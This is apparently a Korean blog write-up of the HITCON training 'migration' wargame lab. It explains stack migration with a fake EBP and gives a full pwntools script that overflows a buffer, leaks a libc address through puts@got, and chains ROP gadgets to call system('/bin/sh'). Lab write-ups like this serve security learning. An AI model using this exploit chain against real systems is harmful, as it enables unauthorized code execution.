hint : fake ebp를 이용해 스택 영역을 이동시킨 후 rop.


1. fakestack으로 사용할 위치를 찾는다. 

--> rop를 하기엔 read할 수 있는 크기가 작기 때문에 stack migration을 할 곳을 찾아야 한다. 따라서 bss영역 같은 곳을 찾는다. 하지만 이 문제에선 bss영역이 8바이트밖에 되지 않으므로 dynamic 영역 +0x600과 + 0x700을 fakestack1, 2 로 선택했다.

2. 이제 rop를 해야하는데 sfp에 fakestack1(dynamic+0x600)을 넣고 ret에는 read@plt를 넣어서 read()함수를 실행시키도록 한다.그리고 fakeebp를 하기 위해 leave-ret가젯을 rop할 때 스택을 정리하는 부분에 넣어주어 puts@got를 릭해서 libc를 구하고 다시 read를 호출해서 fakestack2에 쉘 함수를 read시킨 후 leave-ret으로 fakestack2의 내용을 호출하도록 하면 클리어가 된다.


from pwn import *

r = process("./migration")
elf = ELF("./migration")

leave_ret = 0x08048504
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
bss = elf.bss()
system_offset = 0x24f00
binsh_offset = 0xfbd6b
pr = 0x804836d
pppr = 0x8048569
ret = 0x080484e5
ds_section = elf.get_section_by_name(".dynamic").header.sh_addr
fakestack1 = ds_section + 0x600
fakestack2 = ds_section + 0x700

log.info("read_plt = {}".format(hex(read_plt)))
log.info("read_got = {}".format(hex(read_got)))
log.info("puts_plt = {}".format(hex(puts_plt)))
log.info("puts_got = {}".format(hex(puts_got)))
log.info("fakestack1 = {}".format(hex(fakestack1)))
log.info("fakestack2 = {}".format(hex(fakestack2)))
r.recv()
#pause()

#step 1
payload = "A"*40
payload += p32(fakestack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack1)
payload += p32(0x100)

r.send(payload)
#pause()

#step 2
payload = p32(fakestack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack2)
payload += p32(0x100)
r.sendline(payload)
#pause()

libc_puts = u32(r.recv(4))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))
binsh = binsh_offset + libc_puts
log.info("/bin/sh = {}".format(hex(binsh)))

payload = "C"*4
payload += p32(libc_system)
payload += "D"*4
payload += p32(binsh)
r.send(payload)

r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

+ Recent posts